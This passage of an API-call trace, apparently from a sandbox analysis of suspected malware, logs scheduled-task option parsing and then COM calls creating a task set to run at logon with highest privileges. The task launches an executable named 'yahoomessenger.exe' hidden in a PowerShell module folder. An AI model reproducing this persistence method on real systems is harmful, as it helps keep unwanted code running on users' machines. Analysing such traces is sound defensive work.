_Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.457] lstrlenW (lpString="f") returned 1 [0066.457] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.457] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tn|") returned 4 [0066.457] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.457] lstrlenW (lpString="|tn|") returned 4 [0066.458] lstrlenW (lpString="|f|") returned 3 [0066.458] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0066.458] SetLastError (dwErrCode=0x490) [0066.458] lstrlenW (lpString="tr") returned 2 [0066.458] lstrlenW (lpString="tr") returned 2 [0066.458] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.458] lstrlenW (lpString="f") returned 1 [0066.458] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.458] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tr|") returned 4 [0066.458] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.458] lstrlenW (lpString="|tr|") returned 4 [0066.458] lstrlenW (lpString="|f|") returned 3 [0066.458] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0066.458] SetLastError (dwErrCode=0x490) [0066.458] lstrlenW (lpString="st") returned 2 [0066.458] lstrlenW (lpString="st") returned 2 [0066.458] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.458] lstrlenW (lpString="f") returned 1 [0066.458] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.458] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|st|") returned 4 [0066.458] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.458] lstrlenW (lpString="|st|") returned 4 [0066.458] lstrlenW (lpString="|f|") returned 3 [0066.458] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0066.458] SetLastError (dwErrCode=0x490) [0066.459] lstrlenW (lpString="sd") returned 2 [0066.459] lstrlenW (lpString="sd") returned 2 [0066.459] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.459] lstrlenW (lpString="f") returned 1 [0066.459] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.459] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|sd|") returned 4 [0066.459] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.459] lstrlenW (lpString="|sd|") returned 4 [0066.459] lstrlenW (lpString="|f|") returned 3 [0066.459] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0066.459] SetLastError (dwErrCode=0x490) [0066.459] lstrlenW (lpString="ed") returned 2 [0066.459] lstrlenW (lpString="ed") returned 2 [0066.459] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.459] lstrlenW (lpString="f") returned 1 [0066.459] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.459] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|ed|") returned 4 [0066.459] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.459] lstrlenW (lpString="|ed|") returned 4 [0066.459] lstrlenW (lpString="|f|") returned 3 [0066.459] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0066.459] SetLastError (dwErrCode=0x490) [0066.459] lstrlenW (lpString="it") returned 2 [0066.459] lstrlenW (lpString="it") returned 2 [0066.459] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.459] lstrlenW (lpString="f") returned 1 [0066.460] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.460] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|it|") returned 4 [0066.460] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.460] lstrlenW (lpString="|it|") returned 4 [0066.460] lstrlenW (lpString="|f|") returned 3 [0066.460] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0066.460] SetLastError (dwErrCode=0x490) [0066.460] lstrlenW (lpString="et") returned 2 [0066.460] lstrlenW (lpString="et") returned 2 [0066.460] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.460] lstrlenW (lpString="f") returned 1 [0066.460] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.460] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|et|") returned 4 [0066.460] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.460] lstrlenW (lpString="|et|") returned 4 [0066.460] lstrlenW (lpString="|f|") returned 3 [0066.460] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0066.460] SetLastError (dwErrCode=0x490) [0066.460] lstrlenW (lpString="k") returned 1 [0066.460] lstrlenW (lpString="k") returned 1 [0066.460] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.460] lstrlenW (lpString="f") returned 1 [0066.460] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.460] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|k|") returned 3 [0066.460] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.460] lstrlenW (lpString="|k|") returned 3 [0066.461] lstrlenW (lpString="|f|") returned 3 [0066.461] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0066.461] SetLastError (dwErrCode=0x490) [0066.461] lstrlenW (lpString="du") returned 2 [0066.461] lstrlenW (lpString="du") returned 2 [0066.461] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.461] lstrlenW (lpString="f") returned 1 [0066.461] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.461] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|du|") returned 4 [0066.461] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.461] lstrlenW (lpString="|du|") returned 4 [0066.461] lstrlenW (lpString="|f|") returned 3 [0066.461] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0066.461] SetLastError (dwErrCode=0x490) [0066.461] lstrlenW (lpString="ri") returned 2 [0066.461] lstrlenW (lpString="ri") returned 2 [0066.461] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.461] lstrlenW (lpString="f") returned 1 [0066.461] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.461] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|ri|") returned 4 [0066.461] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.461] lstrlenW (lpString="|ri|") returned 4 [0066.461] lstrlenW (lpString="|f|") returned 3 [0066.461] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0066.461] SetLastError (dwErrCode=0x490) [0066.461] lstrlenW (lpString="z") returned 1 [0066.462] lstrlenW (lpString="z") returned 1 [0066.462] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.462] lstrlenW (lpString="f") returned 1 [0066.462] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.462] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|z|") returned 3 [0066.462] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.462] lstrlenW (lpString="|z|") returned 3 [0066.462] lstrlenW (lpString="|f|") returned 3 [0066.462] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0066.462] SetLastError (dwErrCode=0x490) [0066.462] lstrlenW (lpString="f") returned 1 [0066.462] lstrlenW (lpString="f") returned 1 [0066.462] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.462] lstrlenW (lpString="f") returned 1 [0066.462] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.462] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.462] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|f|") returned 3 [0066.462] lstrlenW (lpString="|f|") returned 3 [0066.462] lstrlenW (lpString="|f|") returned 3 [0066.462] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0066.462] SetLastError (dwErrCode=0x0) [0066.462] SetLastError (dwErrCode=0x0) [0066.462] GetProcessHeap () returned 0x240000 [0066.462] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cf40 [0066.462] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.463] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0066.463] lstrlenW (lpString="LIMITED") returned 7 [0066.463] GetProcessHeap () returned 0x240000 [0066.463] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x10) returned 0x25d740 [0066.463] GetThreadLocale () returned 0x409 [0066.463] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0066.463] GetProcessHeap () returned 0x240000 [0066.463] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cf10 [0066.463] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.463] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0066.463] lstrlenW (lpString="HIGHEST") returned 7 [0066.463] GetProcessHeap () returned 0x240000 [0066.463] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x10) returned 0x25d760 [0066.463] GetThreadLocale () returned 0x409 [0066.463] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0066.463] GetProcessHeap () returned 0x240000 [0066.463] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cee0 [0066.463] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.463] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0066.464] lstrlenW (lpString="MINUTE") returned 6 [0066.464] GetProcessHeap () returned 0x240000 [0066.464] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xe) returned 0x25d780 [0066.464] GetThreadLocale () returned 0x409 [0066.464] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0066.464] GetProcessHeap () returned 0x240000 [0066.464] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25ceb0 [0066.464] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.464] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0066.464] lstrlenW (lpString="HOURLY") returned 6 [0066.464] GetProcessHeap () returned 0x240000 [0066.464] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xe) returned 0x25d7a0 [0066.464] GetThreadLocale () returned 0x409 [0066.464] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0066.464] GetProcessHeap () returned 0x240000 [0066.464] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25ce80 [0066.464] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.464] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0066.464] lstrlenW (lpString="DAILY") returned 5 [0066.464] GetProcessHeap () returned 0x240000 [0066.465] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xc) returned 0x25d7c0 [0066.465] GetThreadLocale () returned 0x409 [0066.465] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0066.465] GetProcessHeap () returned 0x240000 [0066.465] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25ce50 [0066.465] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.465] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0066.465] lstrlenW (lpString="WEEKLY") returned 6 [0066.465] GetProcessHeap () returned 0x240000 [0066.465] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xe) returned 0x25d7e0 [0066.465] GetThreadLocale () returned 0x409 [0066.465] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0066.465] GetProcessHeap () returned 0x240000 [0066.465] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25ce20 [0066.465] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.465] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0066.465] lstrlenW (lpString="MONTHLY") returned 7 [0066.465] GetProcessHeap () returned 0x240000 [0066.465] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x10) returned 0x25d800 [0066.465] GetThreadLocale () returned 0x409 [0066.465] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0066.465] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.465] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0066.465] lstrlenW (lpString="ONCE") returned 4 [0066.465] GetProcessHeap () returned 0x240000 [0066.465] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xa) returned 0x25d820 [0066.465] GetThreadLocale () returned 0x409 [0066.466] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0066.466] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.466] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0066.466] lstrlenW (lpString="ONSTART") returned 7 [0066.466] GetThreadLocale () returned 0x409 [0066.466] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0066.466] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.466] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0066.466] lstrlenW (lpString="ONLOGON") returned 7 [0066.466] GetThreadLocale () returned 0x409 [0066.466] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0066.466] SetLastError (dwErrCode=0x0) [0066.466] GetProcessHeap () returned 0x240000 [0066.466] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x1fc) returned 0x25c6b0 [0066.466] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.466] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0066.466] lstrlenW (lpString="First") returned 5 [0066.466] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.467] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0066.467] lstrlenW (lpString="Second") returned 6 [0066.467] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.467] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0066.467] lstrlenW (lpString="Third") returned 5 [0066.467] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.467] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0066.467] lstrlenW (lpString="Fourth") returned 6 [0066.467] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.467] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0066.467] lstrlenW (lpString="Last") returned 4 [0066.467] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.467] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0066.467] lstrlenW (lpString="First") returned 5 [0066.467] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.467] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0066.467] lstrlenW (lpString="Second") returned 6 [0066.467] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.467] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0066.467] lstrlenW (lpString="Third") returned 5 [0066.467] GetProcessHeap () returned 0x240000 [0066.467] GetProcessHeap () returned 0x240000 [0066.468] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d820) returned 1 [0066.468] GetProcessHeap () returned 0x240000 [0066.468] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d820) returned 0xa [0066.468] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d820 | out: hHeap=0x240000) returned 1 [0066.468] GetProcessHeap () returned 0x240000 [0066.468] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xc) returned 0x25d820 [0066.468] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.468] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0066.468] lstrlenW (lpString="Fourth") returned 6 [0066.468] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.468] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0066.468] lstrlenW (lpString="Last") returned 4 [0066.468] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1fc6a0, cchData=128 | out: lpLCData="0") returned 2 [0066.468] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.468] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0066.468] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0066.468] GetProcessHeap () returned 0x240000 [0066.468] GetProcessHeap () returned 0x240000 [0066.468] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d740) returned 1 [0066.468] GetProcessHeap () returned 0x240000 [0066.469] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d740) returned 0x10 [0066.469] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d740 | out: hHeap=0x240000) returned 1 [0066.469] GetProcessHeap () returned 0x240000 [0066.469] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x16) returned 0x25d740 [0066.469] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1fc6c0, cchData=128 | out: lpLCData="0") returned 2 [0066.469] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.469] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0066.469] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0066.469] GetProcessHeap () returned 0x240000 [0066.469] GetProcessHeap () returned 0x240000 [0066.469] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d760) returned 1 [0066.469] GetProcessHeap () returned 0x240000 [0066.469] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d760) returned 0x10 [0066.469] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d760 | out: hHeap=0x240000) returned 1 [0066.469] GetProcessHeap () returned 0x240000 [0066.469] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x16) returned 0x25d760 [0066.469] GetLocalTime (in: lpSystemTime=0x1fc8f0 | out: lpSystemTime=0x1fc8f0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x33, wMilliseconds=0x14)) [0066.469] GetLocalTime (in: lpSystemTime=0x1fd1a8 | out: lpSystemTime=0x1fd1a8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x33, wMilliseconds=0x14)) [0066.469] lstrlenW (lpString="") returned 0 [0066.469] lstrlenW (lpString="") returned 0 [0066.469] lstrlenW (lpString="") returned 0 [0066.470] lstrlenW (lpString="") returned 0 [0066.470] lstrlenW (lpString="") returned 0 [0066.470] lstrlenW (lpString="") returned 0 [0066.470] lstrlenW (lpString="") returned 0 [0066.470] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0066.554] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0066.634] CoCreateInstance (in: rclsid=0xffd71ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffd71ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x1fcf70 | out: ppv=0x1fcf70*=0x34dee0) returned 0x0 [0066.650] TaskScheduler:ITaskService:Connect (This=0x34dee0, serverName=0x1fd050*(varType=0x8, wReserved1=0x1f, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x1fd010*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x1fd030*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1fcff0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0066.716] TaskScheduler:IUnknown:AddRef (This=0x34dee0) returned 0x2 [0066.716] TaskScheduler:ITaskService:GetFolder (in: This=0x34dee0, Path=0x0, ppFolder=0x1fd108 | out: ppFolder=0x1fd108*=0x527f40) returned 0x0 [0066.719] TaskScheduler:ITaskService:NewTask (in: This=0x34dee0, flags=0x0, ppDefinition=0x1fd100 | out: ppDefinition=0x1fd100*=0x526530) returned 0x0 [0066.719] ITaskDefinition:get_Actions (in: This=0x526530, ppActions=0x1fd080 | out: ppActions=0x1fd080*=0x5265f0) returned 0x0 [0066.719] IActionCollection:Create (in: This=0x5265f0, Type=0, ppAction=0x1fd0a0 | out: ppAction=0x1fd0a0*=0x5269c0) returned 0x0 [0066.719] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0066.719] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0066.719] lstrlenW (lpString=" ") returned 1 [0066.719] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0066.719] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0066.719] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0066.720] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0066.720] StrChrW (lpStart=" ", wMatch=0x28) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x29) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0066.720] StrChrW (lpStart=" ", wMatch=0x57) returned 